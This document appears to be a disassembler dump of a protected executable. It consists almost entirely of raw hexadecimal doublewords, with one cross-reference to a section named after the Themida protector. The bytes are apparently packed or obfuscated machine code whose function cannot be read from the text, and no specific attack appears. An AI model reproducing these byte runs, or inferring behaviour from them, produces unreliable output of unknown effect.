		dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h,	75A6CB8Bh
		dd 0FA75490Ah, 1B8h, 8B09EB00h,	0B8E4EB00h, 0
		dd 13E9CFh, 1550000h, 6AA34FB5h, 0B750342Ah, 7072DACh
		dd 647B8181h, 815160FDh, 23617C1h, 820F5A35h, 19h, 13E8h
		dd 13782900h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h
		dd 85C7615Fh, 61961E4h,	1013Fh,	10E8h, 0EA18C700h, 0ADD61F80h
		dd 9146B24Bh, 4B0DFCA8h, 0C9B70F52h, 9AD38158h,	81256BB5h
		dd 5F62C0h, 14E96000h, 40000000h, 3E03A5A3h, 0B6E9EAF3h
		dd 90EEF2CBh, 251F2509h, 0E8AFB655h, 0Eh, 0B8C8C1C4h, 10616303h
		dd 0DCF414F3h, 6160E985h, 0FF336159h, 2860F60h,	60000000h
		dd 8B61F961h, 0F2813814h, 458E5E70h, 5CF281F9h,	604174D5h
		dd 820F51h, 5A000000h, 0F28161F5h, 4A58BA77h, 18D0Fh, 89F50000h
		dd 14E93814h, 0B000000h, 0EF26CDBFh, 81146E4Ch,	20208290h
		dd 0F87471Eh, 0F9D9C54Dh, 54ABEF81h, 0C7814E74h, 4E7454A7h
		dd 0FF81D4B1h, 0FFFFA168h, 0FFA1850Fh, 0CE9FFFFh, 0F2000000h
		dd 0C23A0662h, 0C6E15F99h, 0EBE36EB5h, 60h, 17h	dup(0)
		dd 0B66E900h, 5AE90000h, 6800000Bh, 6196B4Eh, 0FB1A82E9h
		dd 6CC868FFh, 78E90619h, 68FFFB1Ah, 6196D36h, 0FB1A6EE9h
		dd 0A718C4FFh, 625B7855h, 1C9F3310h, 0D1E8EDCAh, 8835A27Fh
		dd 0F5BBFD36h, 0AC89DBE2h, 65429425h, 1DFA4C73h, 0A4B002B9h
		dd 4B30161Ch, 4944580Bh, 0FABF12E2h, 0FDD4DF4Eh, 498D6ABCh
		dd 1FB9C672h, 24ECF4A0h, 0F1E8381Eh, 646F4C51h,	8792C159h
		dd 0EB1DBA4Ah, 8B37CFEAh, 0E2EF9B33h, 0FDC013F5h, 0FF9728B0h
		dd 2C914653h, 57627380h, 2D6A3ABh, 4F838EBDh, 20B3C06Ch
		dd 77E5F19Dh, 20B27FC7h, 32874E9Bh, 0F9FF2E86h,	0E84AE3F3h
		dd 0DB234B57h, 4B270D13h, 133B580Bh, 0C211DEE4h, 63CDA9FBh
		dd 4EE6D3FEh, 64713E06h, 0E8E22655h, 14580B4Ah,	0A33340ECh
		dd 170DC618h, 84308D4Ah, 0E4F2FD2Ch, 0ABB3AED7h, 16C2F7DEh
		dd 56EECD09h, 0AB134027h, 540DD2FBh, 63494F17h,	7751F1E8h
		dd 0C1B4204Fh, 5D01EDE5h, 52h, 6F508855h, 0D908B522h, 0FBAB13F2h
		dd 2B1117D2h, 3F51F1E8h, 107CF17h, 51F1E81Bh, 0F1D8072Fh
		dd 54824F17h, 17513867h, 433884Ah, 9BE3DAF9h, 5C715C4h
		dd 0F20019FFh, 0AE052D51h, 4D7CE824h, 17691066h, 0B8F12F40h
		dd 52817721h, 2F46h, 0AB139D00h, 1117D2FBh, 51F1E82Bh
		dd 649A3954h, 5E9079BFh, 2AE4697h, 17E912AAh, 0FCC1126Eh
		dd 0E6ECB4h, 1451F1E8h,	86399FECh, 69107057h, 11674017h
		dd 45F1CE0Ah, 61E896EDh, 61CFD908h, 0B06F75BDh,	6657E61Bh
		dd 6A4C923Eh, 755806FBh, 0C99C3753h, 35F8D8DEh,	1E7h, 3EA9134Ch
		dd 8039C7Eh, 0B80098D0h, 0F276B4B2h, 39996651h,	4F7ED682h
		dd 0EFF7A3CBh, 0AA4C4918h, 53829E66h, 777D8E48h, 51F23C91h
		dd 93E57DA5h, 0D8E5EEBBh, 4F17C2A9h, 0F1E86349h, 204F7751h
		dd 0D1FAC115h, 4A17CAB3h, 0E0E62E8Bh, 51F1E7FAh, 0ADB7E60Eh
		dd 0D6C9545h, 0E5C4B154h, 0E3BA01EDh, 0E7560677h, 0E64C7B7Eh
		dd 49h,	2A1016DEh, 3E54F1FDh, 1300E716h, 0E6B3FBABh, 0B59CCBF0h
		dd 0E82B1117h, 173F51F1h, 874F17EEh, 0F1E79B81h, 3A87AF51h
		dd 1E762297h, 0C11208EFh, 4A17D3FCh, 7B832F8Ch,	0F1E78F75h
		dd 0E37BA351h, 1100A7B4h, 22h, 0FBAB1368h, 824F17D2h, 0F4386754h
		dd 51F1E80Eh, 17A8D137h, 0FCC1126Eh, 8B4A17D3h,	0FB2A822Eh
		dd 401747EEh, 391BA64Ah, 5448F8F7h, 3D42A3A9h, 26C76A5h
		dd 95410E56h, 29F1F726h, 9945765Ch, 0DE76478Ch,	4B7A4191h
		dd 0F28A1507h, 6D194151h, 45907660h, 0D18ADC74h, 63494F17h
		dd 7751F1E8h, 0A8AF84Fh, 1E5C7E6Bh, 19F2E4EFh, 0F2142D13h
		dd 0D95A4151h, 0BEC19A79h, 88B149E1h, 4017CAB3h, 9F4543BCh
		dd 0A0DA310Bh, 727081FAh, 0AF172150h, 4017D6FFh, 6B05207Ch
		dd 74459050h, 0A9D870C8h, 0C4B1E099h, 0BA01EDE5h, 29D5E4EDh
		dd 20167AD1h, 0BAF62AD3h, 3E258Bh, 173C0000h, 8632874Ah
		dd 0FAE0E62Eh, 0E51F1E7h, 45ADB7E6h, 11176C95h,	51F1E82Bh
		dd 17EE173Fh, 3DC1126Eh, 3CD1F530h, 0CC14AC68h,	3626D8FFh
		dd 80690B27h, 9980AF47h, 36116910h, 68000000h, 8AEA4017h
		dd 8FE8117Bh, 89EE5660h, 0AB26734Ah, 174D760Eh,	0E863494Fh
		dd 4F7751F1h, 2E141A20h, 5751F1E8h, 6E17C8F1h, 0D3FCC112h
		dd 2F8C4A17h, 0EFFC2B83h, 911148h, 13680000h, 0AFB5FDA9h
		dd 51F1E7B1h, 7E3B9663h, 0C74B7AD2h, 0F0E6F39Fh, 12C079CBh
		dd 0B3CEF7C4h, 0FBAB13CAh, 0B1540DD2h, 1EDE5C4h, 0D7E6EDBAh
		dd 3EA4D32Bh, 26h, 0FBAB1355h, 884A17D2h, 0F8FE0433h, 51F1E812h
		dd 17D5FE26h, 0FCC1126Eh, 874A17D3h, 4FF60332h,	3611h
		dd 0AB136800h, 4A17D2FBh, 2E863287h, 0DF3F9FFh,	3651F1E8h
		dd 6E17A7D0h, 7F8C4A17h, 0F1E79379h, 0E77FA751h, 0A9B4E33Bh
		dd 106A932Ah, 967C824Ah, 0AA51F1E7h, 126C5382h,	3E4BF7C4h
		dd 0F6D3259Ah, 0E92FDBE0h, 51F1E805h, 4EE6A446h, 14EB3388h
		dd 8797AA56h, 0DEEE1D38h, 3AE6D501h, 0F68E51ECh, 0DF0EAD29h
		dd 9F37CD8Dh, 80EECA1Ch, 6D05B81Bh, 25601F25h, 0C79457E5h
		dd 0E1DCF70Fh, 1645DD35h, 78BE6A92h, 58060496h,	0FD03CBA1h
		dd 58060517h, 82D4032Bh, 0D49ACBC0h, 3B64F8D9h,	5C000000h
		dd 0CA76498Fh, 175C4372h, 0E863494Fh, 0E1F051F1h, 0BBEA12D8h
		dd 0F1E026B0h, 7C8430C8h, 15753CA5h, 2453255Dh,	0F2E3FAE0h
		dd 12E93F51h, 3ADB040Eh, 398BBA3Ah, 0C8F3E319h,	0C412BD76h
		dd 0BFD8AFF7h, 0D3377825h, 0CAD6406Fh, 8EEF55Ch, 61678003h
		dd 38A4EEC5h, 9830C804h, 6C4F8350h, 0CD31373Dh,	0DD57E926h
		dd 198763B5h, 0DCDDF8C5h, 0C287056h, 30A78458h,	0F189E18Dh
		dd 72491159h, 6F1E11CDh, 4473A1h, 5DFF5D41h, 0DD23CFF7h
		dd 5E203CFBh, 2DA6E406h, 0F2BF9D38h, 72585E26h,	865E2049h
		dd 4AC92F5Eh, 0E0000000h, 0B5FDA913h, 0F1E7B9AFh, 806ED51h
		dd 0D7E2F3DAh, 27CD32Bh, 649E3B3h, 28D28818h, 0E3B0F890h
		dd 9298C7F2h, 0F8FE0DC5h, 51F27912h, 1E66FE26h,	2736347h
		dd 4776E02Ah, 365937h, 0C9910000h, 0F2E6DDC3h, 9AC9F151h
		dd 0FDA913B3h, 0E7BDAFB5h, 0CE951F1h, 0F24AF6C7h, 0D53B125Ah
		dd 8AC19410h, 7C3D94E1h, 587A474Dh, 4441B63h, 91CEE5BEh
		dd 6A233362h, 14711h, 5A7C4900h, 0EA9627ACh, 0E4CBFA92h
		dd 0B4FCAA13h, 0E800E6ECh, 0EC1451F1h, 0CAB3D6BDh, 0AFF7C412h
		dd 33191FE7h, 4751F1E8h, 0E7B3991Fh, 3F4551F1h,	51F1E859h
		dd 0A27F456Dh, 87DF8B30h, 194298EFh, 0ACCC1CA3h, 540D967Dh
		dd 0EDE5C4B1h, 295A01h,	17710000h, 2318E4Ah, 0B6DF8FF8h
		dd 0E82B1117h, 0F0BD51F1h, 0EAF24E2h, 9BC34776h, 126E1772h
		dd 10D2FBC0h, 3B1169h, 13680000h, 17D3FCAAh, 0E863494Fh
		dd 0E7F051F1h, 323810D6h, 51F1E84Ch, 71A03860h,	0E87F656Bh
		dd 42A851F1h, 784F1719h, 0C65BB69Ah, 50376636h,	753CC012h
		dd 0B617F6EFh, 10CAF38Bh, 42C41269h, 67902895h,	0AB13CAB3h
		dd 540DD2FBh, 0EDE5C4B1h, 215A01h, 13710000h, 17D2FBABh
		dd 6C51824Fh, 0E813F93Dh, 0FF2751F1h, 126E17D6h, 10D3FCC1h
		dd 341169h, 13680000h, 0E6B3FBABh, 0C71FCBF0h, 1117B198h
		dd 51F1E82Bh, 239A3954h, 757B438Bh, 51F1E78Fh, 654C7BA3h
		dd 50824F17h, 12553C6Bh, 318C47C1h, 6C952D85h, 4A176910h
		dd 0F9043388h, 442A30DFh, 5851F1E8h, 0FCE2E830h, 1051F1E7h
		dd 5EA450E8h, 51F1E87Bh, 0BA7210E2h, 964FA11Eh,	4DF9C612h
		dd 554D6E45h, 0AA263696h, 5768707Bh, 20C3380Fh,	0D33972A4h
		dd 0F44B66DDh, 95C427E4h, 6B31E2Bh, 78864D5Ah, 0A93D33A4h
		dd 0B35FF7E6h, 1B9EBC5Eh, 0AF450569h, 2E449629h, 51F20F0Bh
		dd 26B27FC7h, 68FE6A99h, 98FEECE5h, 0FFFFFE74h,	0E7F7D9AFh
		dd 0E14351F1h, 2D51F1E7h, 51F1E948h, 0F5C80BD8h, 553B4149h
		dd 6951F1E9h, 367AA941h, 51F1E954h, 0F1E8BEA0h,	0E9280A51h
		dd 40AE91F1h, 7A424890h, 4217E6E3h, 40AD21Ah, 1808E31Eh
		dd 7A424B32h, 7FD96123h, 464EB8E7h, 0AAB05F79h,	18089DC4h
		dd 6C18B0D8h, 6DDBE514h, 107379C1h, 1E1DFCA3h, 9A8C18F6h
		dd 0C7B17893h, 2ECB9h, 437C6000h, 0FEBF14F1h, 0B803CFACh
		dd 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h, 1DE3089h
		dd 0B996E8D7h, 404C9E1Dh, 52CCB2B8h, 0E5E0580Bh, 8B4A177Eh
		dd 0E2F4FF2Eh, 0E83D2329h
		dd 295151F1h, 29C1FADCh, 2D1319E1h, 0B051F1E8h,	324FCA96h
		dd 0FECB279h, 0F54DF9C4h, 0B8C42E5Dh, 585EA64Ah, 57E8D0F8h
		dd 7086D800h, 580BD18Eh, 0B9DA4118h, 0A3280DA7h, 54FC6A74h
		dd 6753350Ch, 12D38E0Eh, 7FAE0DC5h, 93DAB179h, 0CC2E5049h
		dd 516869B6h, 65C2DE22h, 0A325E01h, 0AA2DFAC2h,	7D5A6713h
		dd 6E79A840h, 24015368h, 0F4C109B2h, 0ED8B1AE2h, 8EEDF668h
		dd 0C3F24AF6h, 6A191359h, 51BF5E24h, 0E75F65ADh, 0F641ACEh
		dd 0D1D79FE7h, 643DCDEBh, 0A2A8D7FFh, 72BA01D5h, 5D8C33A5h
		dd 0A066704Dh, 45338A33h, 0A40C2452h, 4C58049Ch, 13EA32DEh
		dd 487124B0h, 2329585Eh, 337FB91Dh, 59A1C96Ah, 26A4C582h
		dd 216E3852h, 6DD706B5h, 34BF361h, 0EE1DA236h, 61D2E2E8h
		dd 0E1B8704Ch, 0EB7F3DA2h, 0AA62B96Ch, 278977F4h, 4C74F827h
		dd 1C9F3704h, 22E9EDCAh, 6FA7361Ch, 8A224A70h, 0C0B698DEh
		dd 7840706Eh, 6FC08C72h, 4978A070h, 0B6ED13Fh, 0E829D87Ah
		dd 4DF9C214h, 7DC55DF5h, 66421777h, 4BF71F76h, 0E52DD13Fh
		dd 7C6D9CDFh, 64426A7Ch, 1A12F04Ah, 720F1D07h, 0DA000001h
		dd 8E6BBD02h, 49267845h, 3E03289h, 0B895E7D2h, 134C9E1Fh
		dd 0F1CC0BA5h, 0AA0FC29Fh, 625D7B58h, 18A33310h, 2C32BAC6h
		dd 580B5446h, 13F85F5Ah, 2C8D44A5h, 0DAE02880h,	51F1E7F4h
		dd 48E008h, 15E46138h, 45CACC5h, 5E3191D5h, 113957E8h
		dd 43EB5965h, 0AE92F5FBh, 0C3A05DFEh, 0A4FCA813h, 0AE8A2E0Ch
		dd 0F1DB3890h, 104E3h, 2B944800h, 0E6D7FCD9h, 0A01BB794h
		dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h
		dd 0A17ED0EFh, 28348635h, 54B49AA0h, 0CDC8580Bh, 0F9A51366h
		dd 0B51CE9B1h, 1991D504h, 4157E84Ch, 76606D19h,	0C016F345h
		dd 0D5434FFBh, 0BFDBE129h, 2F5E01ADh, 0F5E8BF07h, 2C2ACEA9h
		dd 9A7787B6h, 6F3C8439h, 14245366h, 886E743Ch, 9C5E24E3h
		dd 0E3D8BEC4h, 0C4EC5E24h, 0E0F2FD2Ch, 29AC89DBh, 5B7B4890h
		dd 0F9C41360h, 0B6C6F54Dh, 6DBFFED9h, 4CB74790h, 0F788254Fh
		dd 118C7278h, 78A05E24h, 330048E0h, 18701C9Fh, 0D5FCD9E9h
		dd 23B592E4h, 1200E6ECh, 10835E24h, 9150F1A1h, 29AD8A50h
		dd 1062FA92h, 0C618A333h, 0B61CE8E9h, 0E6AB0D46h, 0C961ECC1h
		dd 0E52DC51Dh, 5400B918h, 0E1BDCDFCh, 0BB83CB73h, 0A8D7E4EEh
		dd 1A4F4864h, 0E490B864h, 6ABCFFD7h, 0C8Ch, 5EE4E300h
		dd 4B39AA87h, 0A7D68A76h, 0F5CA12C0h, 219A3C49h, 4F706875h
		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h, 126833B8h, 54000056h, 8324048Fh, 56042404h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h,	6506824h
		dd 34890000h, 6DBE5624h, 0BA695B0Bh, 20BE78D1h,	815EF231h
		dd 0CC100AEAh, 762B6843h, 24890000h, 24048124h,	4, 2C81525Eh
		dd 0E8223424h, 8468F47h, 34084681h, 8B47E822h, 89512434h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah
		dd 0E9000000h, 0FFFB0F3Bh, 0EB02EB2Bh, 18E944FBh, 6E5FB86Ch
		dd 0C5030619h, 8D8DC38Bh, 6196FF3h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 56C35646h, 0DA96EADEh, 0D98B5174h
		dd 4D858958h, 89061405h, 1432298Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B589C7EFh
		dd 61416B5h, 64D85C7h, 68A80614h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D4DC7C3h
		dd 0DA282172h, 5E8h, 8DAE5E00h,	9D8B1306h, 6141039h, 7185C75Fh
		dd 61426h, 0B000000h, 140909B5h, 49B5FF06h, 0E906140Dh
		dd 8, 0E4DCE8Ah, 216A6840h, 236195FFh, 6A0614h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 60914EC3h, 76675CC0h, 0E952F862h, 0Ah, 0EF22E261h, 0B75B66C8h
		dd 6A5B2651h, 6995FF00h, 8B061411h, 0DF49EBC0h,	3507BB53h
		dd 475AC8A3h, 2026003h,	0BF0FA95Ch, 2B017321h, 0EC4617C5h
		dd 2B736375h, 8391435Fh, 6A9457BBh, 6548AD95h, 0F9F901B1h
		dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh, 625F44D1h,	28D3BF71h
		dd 0AED0ACACh, 5F292FAFh, 13CE9h, 4Fh dup(0)
		dd 79BD8300h, 106141Dh,	489840Fh, 840F0000h, 0Fh, 0AE9h
		dd 7921C500h, 976B14A8h, 0C6D9DAEDh, 141A5985h,	0E9604306h
		dd 9, 0FD6126A7h, 450C55DBh, 0CE8F0h, 0BF3E0000h, 0AE858BC6h
		dd 3A5E444Ah, 59F82AEAh, 64C46861h, 6E9C85Eh, 27000000h
		dd 0FB3EBBBCh, 24048129h, 24476C31h, 0D1B5FFFCh, 0F06141Ah
		dd 789h, 18B0F00h, 0F5000000h, 80DB858Dh, 0FFF80617h, 138C0FD0h
		dd 60000000h, 0AE8F5h, 13630000h, 0EA76FF86h, 29768C7Eh
		dd 85896159h, 6141A85h,	5985C6F5h, 5006141Ah, 4E8F5h, 0AD560000h
		dd 820FA8ADh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 6050585Ah
		dd 1B9581BBh, 0F87BB4Ch, 8B615E1Eh, 60042444h, 60DF8B66h
		dd 0BF669BB3h, 6161BABCh, 0E960008Bh, 0Eh, 92327535h, 46F76BB4h
		dd 4C80C1CCh, 89619FA9h, 60042444h, 84A84DBEh, 61CF8A67h
		dd 81666058h, 0E93512C6h, 7, 0FA4F9659h, 61871517h, 1AD1B5FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 183FCEC3h, 858D0DF2h, 61780DBh, 0FE9h, 839E2600h
		dd 33683F5Eh, 0C973E9A1h, 50C58AB8h, 870FD0FFh,	0Ch, 7E9h
		dd 37F2EA00h, 9D4F4F91h, 3C98589h, 68F50614h, 0CC5B6369h
		dd 0F17B660h, 1682h, 11E900h, 412C0000h, 6491CA57h, 0AE2369A3h
		dd 4CE839B8h, 611F4411h, 46243481h, 6A3CD4CBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 56D5C353h, 1A54A054h, 0E91D6F94h, 10h, 64EA1419h, 5FCEAC82h
		dd 0F7EF570Ch, 88C1849Ah, 1AD1B5FFh, 60600614h,	61D6BF0Fh
		dd 2870Fh, 0FA8B0000h, 0DB858D61h, 0F8061780h, 860FD0FFh
		dd 15h,	0F8A0Fh, 0AE90000h, 54000000h, 8E257A9h, 667C2C59h
		dd 958589C7h, 0F06141Bh, 78Ah, 18B0F00h, 0FC000000h, 1A5985C6h
		dd 60500614h, 0E932C580h, 0Eh, 0A30378B9h, 0A744D9FEh
		dd 3485C9B6h, 0E8615C25h, 4, 979CDC56h,	12E860h, 214A0000h
		dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 8D0Fh, 0B95B0000h
		dd 410094D3h, 810F5061h, 16h, 11E9h, 838CA100h,	1BA6E3C4h
		dd 0CFC0696Eh, 7F2C02B2h, 448BFBCFh, 880F0424h,	0Eh, 61605250h
		dd 5250310Fh, 585A310Fh, 8B585Ah, 128E0Fh, 52500000h, 5E9h
		dd 16D6C600h, 310FF928h, 585A6160h, 4244489h, 615FBB60h
		dd 8B662172h, 6A5861F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0E6E8C355h,	0F987A1A9h
		dd 0AD7AB257h, 1145B5FFh, 8DF90614h, 143B1385h,	9E906h
		dd 6CF50000h, 833A0180h, 0FF401FDAh, 820FF9D0h,	1, 0A98589F5h
		dd 0F9061430h, 16EE9h, 0CE900h,	48BD0000h, 0D8AE0395h
		dd 4A34B445h, 6050D402h, 0ABD4B866h, 242C8961h,	0C820Fh
		dd 840F0000h, 6, 880Fh,	0EC8B0000h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C7C35747h,	6016051Ah, 0FCC48361h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h
		dd 0E9FCF3BAh, 6, 3906036Dh, 0F960693Eh, 0E8h, 0EA815A00h
		dd 619752Eh, 0FC45C7h, 83000000h, 141D79BAh, 840F0106h
		dd 98h,	6A006A52h, 8592FF0Fh, 5A06141Ah, 70468289h, 9A8D0619h
		dd 619704Ah, 2803C752h,	53000001h, 0C992FF50h, 5A061403h
		dd 4A9A8D52h, 53061970h, 7046B2FFh, 92FF0619h, 61430A9h
		dd 74C00B5Ah, 4A9A8D50h, 8D061970h, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 3231BA8Dh, 4D8B0614h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 6143231h, 9592FF50h,	5A06141Bh, 0A075C00Bh, 1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0B1C35646h, 923D1BABh, 0D648E8C5h, 5E950h
		dd 31E10000h, 8BAE0214h, 0EE8D2h, 0A74F0000h, 50D2791Bh
		dd 0C8BFA025h, 0E328D0D6h, 7E8h, 4657ED00h, 624C432Ch
		dd 24D68166h, 0E85A5E1Ch, 7, 0A68EBD55h, 0FCF08318h, 8C28158h
		dd 0E8000066h, 0Fh, 98FF4887h, 7F94EAE4h, 61AC4BA7h, 0F99964Bh
		dd 687h, 8F0F00h, 5E000000h, 872F5BBBh,	0E2C3811Eh, 66E178E9h
		dd 0A8BF38Bh, 6E9h, 0FCB21900h,	816A2CFFh, 2A51CBE9h, 10E95Ch
		dd 0E3A60000h, 0F81CCB48h, 707840FEh, 80FB67C7h, 0E98126C6h
		dd 574BAB11h, 7E960h, 35120000h, 72F01BC0h, 617FB1E6h
		dd 8549C181h, 0E9607088h, 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah
		dd 61D08B2Bh, 0FB8B6651h, 0EA83028Fh, 8830F01h,	0F000000h
		dd 287h, 4A616000h, 8A0F4A4Ah, 4, 5EC58A53h, 1EB81h, 850F0000h
		dd 1Ch,	0B8E0Fh, 8B0F0000h, 5, 38F68166h, 14E983h, 4CA80000h
		dd 43F36D51h, 0FFFF55E9h, 0AC3406FFh, 0B160B98h, 8D8D7FE4h
		dd 61977E9h, 2D69958Bh,	8D890614h, 6143229h, 0CA96ABB8h
		dd 0DE87Ch
		db 2 dup(0)
word_5A0332	dw 4C4Eh		; DATA XREF: Themida_:0054BCF0o
		dd 0C1D1B63Fh, 1AC9B553h, 0E9AA0E77h, 0Eh, 14020A3Ch, 0ABE67AC5h
		dd 99C95256h, 0C75BCD54h, 14064D85h, 66F006h, 119D0900h
		dd 0C7061431h, 14267185h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 85CFA91Ch
		dd 663D95FAh, 0F88BD08Bh, 0C4DB5FFh, 10E90614h,	94000000h
		dd 0C67742EEh, 0EF143C73h, 60D799CAh, 0FF68F8D6h, 14236195h
		dd 7E906h, 763A0000h, 0E606E6FFh, 0FF006AEFh, 14116995h
		dd 0EBC08B06h, 25D444Ah, 5169B1DDh, 0D2AA53E0h,	0A095BFA3h
		dd 6E177D8Fh, 0E12E6BEDh, 0A933D047h, 17478B4h,	2C0919A6h
		dd 582CB54Ch, 0FBE770h,	0F87BC5F7h, 5B91AB57h, 0FA2B5098h
		dd 8BD495FBh, 0C2F452C3h, 67242D03h, 0B134B14Eh, 0E97BDC22h
		dd 34h,	663FC6A3h, 0Ch dup(0)
		dd 51FE9h, 6B548800h, 26973C19h, 0E0DBF7D4h, 9524B18Eh
		dd 4C716643h, 0B9F7C1FAh, 704D9F1Eh, 29065861h,	0E1BE10AFh
		dd 6874C6F5h, 5FF4DAE0h, 0D08580Bh, 0F7C412A6h,	0FBE1E7AFh
		dd 0F51F1E7h, 0E84B3137h, 375F51F1h, 0F906709Fh, 0B08DDFDEh
		dd 0DCE99526h, 250B11FAh, 3951F1E8h, 0C0CD7911h, 88FEAA13h
		dd 8CE6624h, 9DA36BB3h,	51F1E7B7h, 0D5EAEECBh, 0A39D129h
		dd 4BB1DFAh, 0BC03D5B2h, 0EBCE0310h, 0A48EA3Fh,	87D9E6F2h
		dd 0D9DF2CAAh, 51F1E7F3h, 9B47DF07h, 0F1E87255h, 5926EE51h
		dd 3F97437Ah, 79CBE10h,	0FEEDF15Eh, 65A0h, 0C412B700h
		dd 21054BF7h, 9F51F1E8h, 0F2C70AD7h, 0BAD171C3h, 0FEEDF1ABh
		dd 0A53h, 0E7744B00h, 1BD008B5h, 12DAC1F0h, 4350FCC1h
		dd 1DE52D90h, 0F1E83117h, 558BB451h, 0EFA44F5Ch, 68D20129h
		dd 933F7A5Bh, 0C4704D86h, 0F09C1FB7h, 79781A7Eh, 9235FC3h
		dd 0C4A1F3CAh, 7F57A912h, 0EBE721B2h, 348C38D0h, 0C5121E05h
		dd 943F4CF8h, 430AE129h, 9328AAC7h, 4384E33Ch, 0D438AA14h
		dd 64597EB6h, 1AA13512h, 4A71616Eh, 7441179Eh, 58B05C5Dh
		dd 20BBD729h, 0FEED9555h, 86C9h, 0DEF4C100h, 774890DDh
		dd 5D4473CBh, 4CF8C512h, 4A216D44h, 2C3994C0h, 0DBE0F2FDh
		dd 3555B92Fh, 93E5D8FFh, 0F09C21B6h, 7FC7F2E3h,	0F9AD18A8h
		dd 46939715h, 95FF2E8Bh, 35AEEC0Eh, 0FEEDA040h,	6EDEh
		dd 82FFD600h, 3E5263BBh, 8930A5F2h, 4017735Ah, 0D37DE0E4h
		dd 0B3BEED22h, 0B45CDA24h, 715A901Dh, 326F5BBh,	6F079FC6h
		dd 9D22B6C3h, 6E4F8855h, 0B136AC2h, 6DDAD3h, 4074DE0Dh
		dd 0D1063E5Ch, 12E19AECh, 3CA83DC1h, 7D299443h,	0C54DCE25h
		dd 1EF53DD5h, 0B54816FBh, 74DE0DD6h, 0F2914B2Eh, 97B3C751h
		dd 0ED4869FCh, 195FEh, 17AC0000h, 6A4F824Fh, 0F1E7FEE4h
		dd 0BBEA1251h, 0ED9922B0h, 0FDBE18E5h, 28914451h, 80566190h
		dd 51828F3Bh, 25B3C06Ch, 0F6E1EE9Ah, 0DC31BC7h,	7308E9A9h
		dd 3788501Dh, 0B204338Bh, 41946190h, 943E4978h,	0B586572h
		dd 0F149F5C8h, 0BD2B0759h, 0ACC3C911h, 2257E502h, 173E563Bh
		dd 983022B0h, 0C4F7DFECh, 9629AF7Ch, 8E4592EAh,	0FC2B832Fh
		dd 0F4C70FECh, 0A694048h, 0BA2CE796h, 47F3C60Fh, 0E42857EFh
		dd 58061D00h, 2DDC7E62h, 1ADC5956h, 0D605FBE5h,	5EB00BCBh
		dd 20B15581h, 0B7CCFADAh, 0A23AA3FAh, 5A069EF6h, 8632894Dh
		dd 5A92B014h, 2AF73F7Ch, 0D2E211AEh, 0D9B4D194h, 10B2DF8h
		dd 58250000h, 2A114079h, 0B1F9A513h, 0E50D74ABh, 0F7DBA857h
		dd 2A1195C4h, 0FF3F1DE2h, 0D9F845FCh, 44DC34E0h, 7DB99098h
		dd 82C9FCB5h, 27AFBAE9h, 71654294h, 0BF969E4Ah,	0ABD1B330h
		dd 0FB0635D4h, 0C234E0DBh, 0CE083C5Eh, 701C9D38h, 0F02E8018h
		dd 0F8D95D75h, 3489h, 0A613A000h, 0E4AAB0F8h, 36D1F1E7h
		dd 999F6E69h, 0D1F1E7B3h, 0D8079FC7h, 3A802C54h, 0D1F1E854h
		dd 5F96B4D8h, 0FE044CF2h, 51F1E838h, 0B492E40Ch, 81h, 0F9A5130Bh
		dd 10F0ABB1h, 4F1C57E5h, 3F8D7587h, 80D7864h, 3D6CC470h
		dd 0D8E591B9h, 5986FEFEh, 59F8DB5Bh, 44926FC1h,	74622F77h
		dd 14439B47h, 208364AAh, 0FBDF5806h, 8A31A55Fh,	42EE5C38h
		dd 0B7C5F4FAh, 2D95DFCh, 0C3E21101h, 4125A086h,	17748BFEh
		dd 1A9F327Fh, 63E7166Eh, 252BF33Bh, 5E1F7B3Fh, 6B20BCCh
		dd 91C0E8AEh, 0FFBC1A27h, 3E5CFE53h, 0ADF59907h, 161278A7h
		dd 94E60E64h, 0F9A513DBh, 7F7CABB1h, 0EA1257E8h, 0BA01D5A2h
		dd 1D87B60Eh, 0A3F5C610h, 0FFAB10C6h, 0F01A66B9h, 42006437h
		dd 0FCDA2CAAh, 23BB13BFh, 0D9E2F4D1h, 7A58252Dh, 878D9541h
		dd 0B8321AA1h, 0C6F58DB5h, 579F1ABBh, 2774498Ah, 9610DB0h
		dd 6F6370DAh, 2A7FF78Dh, 0CC645F44h, 0F7C21320h, 3654F64Bh
		dd 0DE7C1EB3h, 0C30BB026h, 0F60FF5FBh, 4792B831h, 12C8A478h
		dd 0A23512D8h, 7F176F1Bh, 0B8BB5F28h, 2FD2F7h, 43C313F0h
		dd 777F2B8Eh, 31F58B71h, 0DF779FB8h, 0F5AB9197h, 97BFB831h
		dd 164553FFh, 9C000000h, 2F8C4A17h, 5C617683h, 69C058B0h
